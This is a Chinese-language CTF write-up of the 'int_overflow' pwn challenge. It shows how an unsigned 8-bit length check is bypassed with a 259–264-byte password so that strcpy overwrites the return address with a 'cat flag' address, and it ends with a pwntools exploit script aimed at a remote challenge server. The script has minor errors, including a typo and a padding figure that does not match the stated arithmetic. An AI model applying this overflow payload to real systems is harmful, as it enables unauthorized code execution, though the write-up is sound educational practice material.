int_overflow

第一次寫pwn?
下載附件?查殼?沒殼且是32位
main()函數(shù)

login()函數(shù)

關(guān)鍵函數(shù)?check_password()

查看有什么字符


可以利用? cat?flag? 讀取flag
首先看check_password()函數(shù)
v3? 為? unsigned _int8? 型的? 為8字節(jié)? 可以?存儲(chǔ)的長度 2的8次方=256
v3等于?s的長度??

如果v3>=3&&v3<=8? 則?是?success
而且可以看到?后邊有 strcpy()函數(shù)?這里可以進(jìn)行棧溢出,將s的數(shù)據(jù)存入到dest中?

可以看到dest的長度是14,如果s的長度足夠大,將cat flag的地址覆蓋到返回地址那,就可以實(shí)現(xiàn)讀取flag
但是前邊有條件?v3是大于3小于8的?此時(shí)可以利用整數(shù)溢出
v3可以存儲(chǔ)最大的長度是256? 如果大于這個(gè)數(shù)將會(huì)進(jìn)行高位截取?對(duì)256求余? 例如?v3=257? 實(shí)際多余的部分會(huì)直接忽略?等于1
所以?這里s的長度可以是3~8?或者 259~264
這里只要輸入s的長度在259~264之間就可以溢出
這里取264
因?yàn)橐?cat?flag?這個(gè)來獲得flag? 所以查看一下地址


flag_addr=0x08048694
首先存儲(chǔ)dest里的0x14? ?然后再看一下匯編代碼

函數(shù)結(jié)尾有個(gè)?leave?指令 leave 指令等于 mov esp,ebp和 pop ebp 兩條指令的組合,也就是說,在覆蓋函數(shù)放回地址之前,還有一次出棧操作,出棧數(shù)據(jù)大小 4 字節(jié),所以要將這個(gè)出棧的數(shù)據(jù)覆蓋掉?
然后jmp會(huì)跳轉(zhuǎn)到下邊
NOP"指令即空指令, 2. 運(yùn)行該指令時(shí)單片機(jī)什么都不做,但是會(huì)占用一個(gè)指令的時(shí)間
然后就是返回地址了
所以構(gòu)造paylod="a"*0x14+"aaaa"+p32(0x08048694)+"A"*234(262-0x14-4-4)? ? ? ? ///0x14 =十進(jìn)制20
寫exp
form pwn import *
sh=remote("111.198.29.45",43982)? ? ?//連接這個(gè)服務(wù)器端口
sh.sendlineafter("choice:","1")
sh.sendlineafter("username:","132")
flag_addr = 0x08048694
payload = "A" * 0x14 + "AAAA" + p32(flag_addr) + "A" * 234
sh.sendlineafter("password:",payload)
print (sh.recvall())
